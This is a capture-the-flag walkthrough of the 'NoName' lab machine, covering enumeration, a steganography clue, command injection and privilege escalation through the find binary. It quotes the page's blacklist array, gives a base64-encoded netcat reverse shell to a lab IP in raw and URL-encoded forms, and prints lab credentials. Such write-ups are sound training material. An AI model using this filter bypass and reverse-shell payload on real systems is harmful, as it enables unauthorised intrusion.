NoName | Aug 17, 2022
Background
NoName may appear easy, but not everything is always straightforward. Only local.txt and proof.txt are valid flags.
-
Author: Yash Saxena
-
Released on: Jul 20, 2020
-
Difficulty: Intermediate
Overall difficulty for me: Very Hard
Service Enumeration
As usual, scan the machine for open ports via rustscan!
Rustscan Result:


According to rustscan result, we have one port is opened:
| Ports Open | Service |
|---|---|
| 80 | Apache httpd 2.4.29 |
HTTP on Port 80
In the index.php, there is a "fake query" that we can sumbit:

Burp Suite:


Looks like a command injection but nothing respond?? Let's enumerate the web server much deeper with gobuster:
Gobuster Result:

Found /admin directory!
http://192.168.129.15/admin:


Found a passphrase: harder.
At this point, I tried harder to enumerate hidden directories, finding what the index.php does, and figuring what does the passphrase do. Turns out, one of those images are not an image:


Nice! We found superadmin.php!

View Source:

And this time the ping's working!
Initial Foothold

Looks like there is a filter from preventing us to execute command!
To bypass the filter, I'll use the new line \n, or %0A in URL encoding. (Learned this trick from one of the OSCP lab machine.)


Yes!! We have command injection! Let's have a reverse shell!

Since the target machine has python3 installed, I'll use python3 reverse shell.

And… Nothing happened.
Let's view the source code and see why it's not working:

$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
It has an array of blacklisted strings that blocking us from using: ;, &&, /, bin, &, ` &&, ls, nc, dir, pwd`.

Since the target machine also has base64 installed, why not base64 encode our reverse shell, and then base64 decode it in the target machine? I also notice the pipe (|) can also bypass the filter, as it's not in the blacklist.
- Base64 encode the
ncreverse shell: (From pentestmonkey)

Complete payload:
|echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC40OS4xMjkgNDQzID4vdG1wL2YK" | base64 -d | bash
- URL encode our payload: (https://www.urlencoder.org/)

Final payload:
%7Cecho%20%22cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTkyLjE2OC40OS4xMjkgNDQzID4vdG1wL2YK%22%20%7C%20base64%20-d%20%7C%20bash
- Setup a
nclistener and send the payload viacurl:


We're now www-data!
local.txt:

Upgrade to Fully Interactive Shell via socat:



Privilege Escalation
There are 2 ways to escalate to root:
- From
www-datastraight to root:
www-data to root

Found 2 users: haclabs and yash.

Interesting…
SUID:

Found /usr/bin/find has a SUID bit set.

According to GTFOBins, if the find binary has SUID bit set, we can escalate our privilege! Let's copy and paste that!

And I'm root! :D. But what does the flag1.txt saying? Am I missing something?
- From
www-datatohaclabstoroot:
www-data to haclabs
In the yash's home directory, the flag1.txt said yash has saved haclabs in somewhere.

We can use find to find that hidden file.

Found /usr/share/hidden/.passwd.

- Username:haclabs
- Password:haclabs1234
Switch User to haclabs:

I'm haclabs!
haclabs to root
sudo -l:

User haclabs is able to run sudo find as root without password!!
According to GTFOBins, the find binary can spawn an interactive shell, thus we can escalate our privilege! Let's copy and paste that!


And I'm root! :D
Rooted
proof.txt:

Conclusion
What we've learned:
- Directory Enumeration
- Steganography
- Command Injection
- Bypassing Filter
- Privilege Escalation via
findSUID bit set - Privilege Escalation via Hidden File That Contains Cleartext Password
- Privilege Escalation via Running
findWith Sudo to Spawn An Interactive Shell